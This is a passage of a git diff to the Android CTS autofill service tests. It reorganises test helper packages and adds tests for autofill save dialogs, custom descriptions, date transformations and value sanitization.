+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
 
-import android.autofillservice.cts.AutoFillServiceTestCase;
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService;
-import android.autofillservice.cts.SimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.platform.test.annotations.Presubmit;
 import android.support.test.uiautomator.UiObject2;
 
 import androidx.annotation.NonNull;
@@ -38,6 +40,7 @@
 import org.junit.Test;
 import org.junit.rules.TestRule;
 
+@Presubmit
 public class InlineSimpleSaveActivityTest
         extends AutoFillServiceTestCase.AutoActivityLaunch<SimpleSaveActivity> {
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
deleted file mode 100644
index af53383..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.inline;
-
-import static android.autofillservice.cts.Timeouts.DATASET_PICKER_NOT_SHOWN_NAPTIME_MS;
-import static android.autofillservice.cts.Timeouts.LONG_PRESS_MS;
-import static android.autofillservice.cts.Timeouts.UI_TIMEOUT;
-
-import android.autofillservice.cts.UiBot;
-import android.content.pm.PackageManager;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
-import android.support.test.uiautomator.Direction;
-import android.support.test.uiautomator.UiObject2;
-
-import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.compatibility.common.util.Timeout;
-import com.android.cts.mockime.MockIme;
-
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-
-/**
- * UiBot for the inline suggestion.
- */
-public final class InlineUiBot extends UiBot {
-
-    private static final String TAG = "AutoFillInlineCtsUiBot";
-    public static final String SUGGESTION_STRIP_DESC = "MockIme Inline Suggestion View";
-
-    private static final BySelector SUGGESTION_STRIP_SELECTOR = By.desc(SUGGESTION_STRIP_DESC);
-
-    private static final RequiredFeatureRule REQUIRES_IME_RULE = new RequiredFeatureRule(
-            PackageManager.FEATURE_INPUT_METHODS);
-
-    public InlineUiBot() {
-        this(UI_TIMEOUT);
-    }
-
-    public InlineUiBot(Timeout defaultTimeout) {
-        super(defaultTimeout);
-    }
-
-    public static RuleChain annotateRule(TestRule rule) {
-        return RuleChain.outerRule(REQUIRES_IME_RULE).around(rule);
-    }
-
-    @Override
-    public void assertNoDatasets() throws Exception {
-        assertNoDatasetsEver();
-    }
-
-    @Override
-    public void assertNoDatasetsEver() throws Exception {
-        assertNeverShown("suggestion strip", SUGGESTION_STRIP_SELECTOR,
-                DATASET_PICKER_NOT_SHOWN_NAPTIME_MS);
-    }
-
-    /**
-     * Selects the suggestion in the {@link MockIme}'s suggestion strip by the given text.
-     */
-    public void selectSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
-        final UiObject2 dataset = strip.findObject(By.text(name));
-        if (dataset == null) {
-            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
-        }
-        dataset.click();
-    }
-
-    @Override
-    public void selectDataset(String name) throws Exception {
-        selectSuggestion(name);
-    }
-
-    @Override
-    public void longPressSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
-        final UiObject2 dataset = strip.findObject(By.text(name));
-        if (dataset == null) {
-            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
-        }
-        dataset.click(LONG_PRESS_MS);
-    }
-
-    @Override
-    public UiObject2 assertDatasets(String...names) throws Exception {
-        final UiObject2 picker = findSuggestionStrip(UI_TIMEOUT);
-        return assertDatasets(picker, names);
-    }
-
-    @Override
-    public void assertSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
-        final UiObject2 dataset = strip.findObject(By.text(name));
-        if (dataset == null) {
-            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
-        }
-    }
-
-    @Override
-    public void assertNoSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
-        final UiObject2 dataset = strip.findObject(By.text(name));
-        if (dataset != null) {
-            throw new AssertionError("has dataset " + name + " in " + getChildrenAsText(strip));
-        }
-    }
-
-    @Override
-    public void scrollSuggestionView(Direction direction, int speed) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
-        strip.fling(direction, speed);
-    }
-
-    private UiObject2 findSuggestionStrip(Timeout timeout) throws Exception {
-        return waitForObject(SUGGESTION_STRIP_SELECTOR, timeout);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
index 63cf648..45c5915 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
@@ -16,32 +16,36 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
-import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.activities.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.activities.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.AbstractWebViewTestCase;
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.autofillservice.cts.MyWebView;
-import android.autofillservice.cts.WebViewActivity;
+import android.autofillservice.cts.activities.MyWebView;
+import android.autofillservice.cts.activities.WebViewActivity;
+import android.autofillservice.cts.commontests.AbstractWebViewTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
 import android.view.KeyEvent;
 import android.view.ViewStructure.HtmlInfo;
 
+import androidx.test.filters.FlakyTest;
+
 import org.junit.Test;
 import org.junit.rules.TestRule;
 
+@FlakyTest(bugId = 162372863)
 public class InlineWebViewActivityTest extends AbstractWebViewTestCase<WebViewActivity> {
 
     private static final String TAG = "InlineWebViewActivityTest";
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InstrumentedAutoFillServiceInlineEnabled.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InstrumentedAutoFillServiceInlineEnabled.java
deleted file mode 100644
index a931c53..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InstrumentedAutoFillServiceInlineEnabled.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.inline;
-
-import android.autofillservice.cts.InstrumentedAutoFillService;
-import android.service.autofill.AutofillService;
-
-/**
- * Implementation of {@link AutofillService} that has inline suggestions support enabled.
- */
-public class InstrumentedAutoFillServiceInlineEnabled extends InstrumentedAutoFillService {
-    @SuppressWarnings("hiding")
-    static final String SERVICE_PACKAGE = "android.autofillservice.cts";
-    @SuppressWarnings("hiding")
-    static final String SERVICE_CLASS = "InstrumentedAutoFillServiceInlineEnabled";
-    @SuppressWarnings("hiding")
-    static final String SERVICE_NAME = SERVICE_PACKAGE + "/.inline." + SERVICE_CLASS;
-
-    public InstrumentedAutoFillServiceInlineEnabled() {
-        sInstance.set(this);
-        sServiceLabel = SERVICE_CLASS;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/AutofillSaveDialogTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/AutofillSaveDialogTest.java
new file mode 100644
index 0000000..05c42c9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/AutofillSaveDialogTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.activities.SimpleAfterLoginActivity;
+import android.autofillservice.cts.activities.SimpleBeforeLoginActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.content.Context;
+import android.content.Intent;
+import android.view.View;
+
+import org.junit.Test;
+
+/**
+ * Tests whether autofill save dialog is shown as expected.
+ */
+public class AutofillSaveDialogTest extends AutoFillServiceTestCase.ManualActivityLaunch {
+
+    @Test
+    public void testShowSaveUiWhenLaunchActivityWithFlagClearTopAndSingleTop() throws Exception {
+        // Set service.
+        enableService();
+
+        // Start SimpleBeforeLoginActivity before login activity.
+        startActivityWithFlag(mContext, SimpleBeforeLoginActivity.class,
+                Intent.FLAG_ACTIVITY_NEW_TASK);
+        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
+
+        // Start LoginActivity.
+        startActivityWithFlag(SimpleBeforeLoginActivity.getCurrentActivity(), LoginActivity.class,
+                /* flags= */ 0);
+        mUiBot.assertShownByRelativeId(LoginActivity.ID_USERNAME_CONTAINER);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
+                .build());
+
+        // Trigger autofill on username.
+        LoginActivity loginActivity = LoginActivity.getCurrentActivity();
+        loginActivity.onUsername(View::requestFocus);
+
+        // Wait for fill request to be processed.
+        sReplier.getNextFillRequest();
+
+        // Set data.
+        loginActivity.onUsername((v) -> v.setText("test"));
+
+        // Start SimpleAfterLoginActivity after login activity.
+        startActivityWithFlag(loginActivity, SimpleAfterLoginActivity.class, /* flags= */ 0);
+        mUiBot.assertShownByRelativeId(SimpleAfterLoginActivity.ID_AFTER_LOGIN);
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_USERNAME);
+
+        // Restart SimpleBeforeLoginActivity with CLEAR_TOP and SINGLE_TOP.
+        startActivityWithFlag(SimpleAfterLoginActivity.getCurrentActivity(),
+                SimpleBeforeLoginActivity.class,
+                Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
+
+        // Verify save ui dialog.
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
+    }
+
+    @Test
+    public void testShowSaveUiWhenLaunchActivityWithFlagClearTaskAndNewTask() throws Exception {
+        // Set service.
+        enableService();
+
+        // Start SimpleBeforeLoginActivity before login activity.
+        startActivityWithFlag(mContext, SimpleBeforeLoginActivity.class,
+                Intent.FLAG_ACTIVITY_NEW_TASK);
+        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
+
+        // Start LoginActivity.
+        startActivityWithFlag(SimpleBeforeLoginActivity.getCurrentActivity(), LoginActivity.class,
+                /* flags= */ 0);
+        mUiBot.assertShownByRelativeId(LoginActivity.ID_USERNAME_CONTAINER);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
+                .build());
+
+        // Trigger autofill on username.
+        LoginActivity loginActivity = LoginActivity.getCurrentActivity();
+        loginActivity.onUsername(View::requestFocus);
+
+        // Wait for fill request to be processed.
+        sReplier.getNextFillRequest();
+
+        // Set data.
+        loginActivity.onUsername((v) -> v.setText("test"));
+
+        // Start SimpleAfterLoginActivity with CLEAR_TASK and NEW_TASK after login activity.
+        startActivityWithFlag(loginActivity, SimpleAfterLoginActivity.class,
+                Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+        mUiBot.assertShownByRelativeId(SimpleAfterLoginActivity.ID_AFTER_LOGIN);
+
+        // Verify save ui dialog.
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
+    }
+
+    private void startActivityWithFlag(Context context, Class<?> clazz, int flags) {
+        final Intent intent = new Intent(context, clazz);
+        intent.setFlags(flags);
+        context.startActivity(intent);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/CustomDescriptionDateTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/CustomDescriptionDateTest.java
new file mode 100644
index 0000000..faabab9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/CustomDescriptionDateTest.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.activities.AbstractDatePickerActivity.ID_DATE_PICKER;
+import static android.autofillservice.cts.activities.AbstractDatePickerActivity.ID_OUTPUT;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.DatePickerSpinnerActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.icu.text.SimpleDateFormat;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.DateTransformation;
+import android.service.autofill.DateValueSanitizer;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+
+import java.util.Calendar;
+
+@AppModeFull(reason = "Service-specific test")
+public class CustomDescriptionDateTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<DatePickerSpinnerActivity> {
+
+    private DatePickerSpinnerActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<DatePickerSpinnerActivity> getActivityRule() {
+        return new AutofillActivityTestRule<DatePickerSpinnerActivity>(
+                DatePickerSpinnerActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testCustomSave() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final AutofillId id = findAutofillIdByResourceId(contexts.get(0),
+                            ID_DATE_PICKER);
+                    builder.setCustomDescription(new CustomDescription
+                            .Builder(newTemplate(R.layout.two_horizontal_text_fields))
+                            .addChild(R.id.first,
+                                    new DateTransformation(id, new SimpleDateFormat("MM/yyyy")))
+                            .addChild(R.id.second,
+                                    new DateTransformation(id, new SimpleDateFormat("MM-yy")))
+                            .build());
+                })
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onOutput((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Autofill it.
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save.
+        mActivity.setDate(2010, Calendar.DECEMBER, 12);
+        mActivity.tapOk();
+
+        // First, make sure the UI is shown...
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Then, make sure it does have the custom view on it...
+        final UiObject2 staticText = saveUi.findObject(By.res(mPackageName, "static_text"));
+        assertThat(staticText).isNotNull();
+        assertThat(staticText.getText()).isEqualTo("YO:");
+
+        // Finally, assert the custom lines are shown
+        mUiBot.assertChild(saveUi, "first", (o) -> assertThat(o.getText()).isEqualTo("12/2010"));
+        mUiBot.assertChild(saveUi, "second", (o) -> assertThat(o.getText()).isEqualTo("12-10"));
+    }
+
+    @Test
+    public void testSaveSameValue_usingSanitization() throws Exception {
+        sanitizationTest(true);
+    }
+
+    @Test
+    public void testSaveSameValue_withoutSanitization() throws Exception {
+        sanitizationTest(false);
+    }
+
+    private void sanitizationTest(boolean withSanitization) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Calendar cal = Calendar.getInstance();
+        cal.clear();
+        cal.set(Calendar.YEAR, 2012);
+        cal.set(Calendar.MONTH, Calendar.DECEMBER);
+
+        // Set expectations.
+
+        // NOTE: ID_OUTPUT is used to trigger autofill, but it's value will be automatically
+        // changed, hence we need to set the expected value as the formated one. Ideally
+        // we shouldn't worry about that, but that would require creating a new activitiy with
+        // a custom edit text that uses date autofill values...
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("The end of the world"))
+                        .setField(ID_OUTPUT, "2012/11/25")
+                        .setField(ID_DATE_PICKER, cal.getTimeInMillis())
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER);
+
+        if (withSanitization) {
+            response.setSaveInfoVisitor((contexts, builder) -> {
+                final AutofillId id = findAutofillIdByResourceId(contexts.get(0), ID_DATE_PICKER);
+                builder.addSanitizer(new DateValueSanitizer(new SimpleDateFormat("MM/yyyy")), id);
+            });
+        }
+        sReplier.addResponse(response.build());
+
+        // Trigger autofill.
+        mActivity.onOutput((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The end of the world");
+
+        // Manually set same values as dataset.
+        mActivity.onOutput((v) -> v.setText("whatever"));
+        mActivity.setDate(2012, Calendar.DECEMBER, 25);
+        mActivity.tapOk();
+
+        // Verify save behavior.
+        if (withSanitization) {
+            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+        } else {
+            mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        }
+    }
+
+    private RemoteViews newTemplate(int resourceId) {
+        return new RemoteViews(getContext().getPackageName(), resourceId);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/CustomDescriptionTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/CustomDescriptionTest.java
new file mode 100644
index 0000000..ed7da54
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/CustomDescriptionTest.java
@@ -0,0 +1,647 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.commontests.AbstractLoginActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Visitor;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.FillContext;
+import android.service.autofill.ImageTransformation;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.TextValueSanitizer;
+import android.service.autofill.Validator;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import org.junit.Test;
+
+import java.util.function.BiFunction;
+import java.util.regex.Pattern;
+
+@AppModeFull(reason = "Service-specific test")
+public class CustomDescriptionTest extends AbstractLoginActivityTestCase {
+
+    /**
+     * Base test
+     *
+     * @param descriptionBuilder method to build a custom description
+     * @param uiVerifier         Ran when the custom description is shown
+     */
+    private void testCustomDescription(
+            @NonNull BiFunction<AutofillId, AutofillId, CustomDescription> descriptionBuilder,
+            @Nullable Runnable uiVerifier) throws Exception {
+        enableService();
+
+        // Set response with custom description
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.setCustomDescription(descriptionBuilder.apply(usernameId, passwordId));
+                })
+                .build());
+
+        // Trigger autofill with custom description
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("usernm"));
+        mActivity.onPassword((v) -> v.setText("passwd"));
+        mActivity.tapLogin();
+
+        if (uiVerifier != null) {
+            uiVerifier.run();
+        }
+
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        sReplier.getNextSaveRequest();
+    }
+
+    @Test
+    public void testSanitizationBeforeBatchUpdates() throws Exception {
+        enableService();
+
+        // Set response with custom description
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final RemoteViews presentation =
+                            newTemplate(R.layout.two_horizontal_text_fields);
+
+                    final AutofillId usernameId =
+                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
+
+                    // Validator for sanitization
+                    final Validator validCondition =
+                            new RegexValidator(usernameId, Pattern.compile("user"));
+
+                    final RemoteViews update = newTemplate(-666); // layout id not really used
+                    update.setTextViewText(R.id.first, "batch updated");
+
+                    final CustomDescription customDescription = new CustomDescription
+                            .Builder(presentation)
+                            .batchUpdate(validCondition,
+                                    new BatchUpdates.Builder().updateTemplate(update).build())
+                            .build();
+                    builder
+                        .addSanitizer(new TextValueSanitizer(Pattern.compile("USERNAME"), "user"),
+                                usernameId)
+                        .setCustomDescription(customDescription);
+
+                })
+                .build());
+
+        // Trigger autofill with custom description
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
+        mActivity.tapLogin();
+
+        assertSaveUiIsShownWithTwoLines("batch updated");
+    }
+
+    @Test
+    public void testSanitizationBeforeTransformations() throws Exception {
+        enableService();
+
+        // Set response with custom description
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final RemoteViews presentation =
+                            newTemplate(R.layout.two_horizontal_text_fields);
+
+                    final AutofillId usernameId =
+                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
+
+                    // Transformation
+                    final CharSequenceTransformation trans = new CharSequenceTransformation
+                            .Builder(usernameId, Pattern.compile("user"), "transformed")
+                            .build();
+
+                    final CustomDescription customDescription = new CustomDescription
+                            .Builder(presentation)
+                            .addChild(R.id.first, trans)
+                            .build();
+                    builder
+                        .addSanitizer(new TextValueSanitizer(Pattern.compile("USERNAME"), "user"),
+                                usernameId)
+                        .setCustomDescription(customDescription);
+
+                })
+                .build());
+
+        // Trigger autofill with custom description
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
+        mActivity.tapLogin();
+
+        assertSaveUiIsShownWithTwoLines("transformed");
+    }
+
+    @Test
+    public void validTransformation() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans1 = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+                    .build();
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans2 = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile(".*"),
+                    R.drawable.android).build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans1)
+                    .addChild(R.id.img, trans2)
+                    .build();
+        }, () -> assertSaveUiIsShownWithTwoLines("usernm..wd"));
+    }
+
+    @Test
+    public void validTransformationWithOneTemplateUpdate() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans1 = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+                    .build();
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans2 = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile(".*"),
+                    R.drawable.android).build();
+            RemoteViews update = newTemplate(0); // layout id not really used
+            update.setViewVisibility(R.id.second, View.GONE);
+            Validator condition = new RegexValidator(usernameId, Pattern.compile(".*"));
+
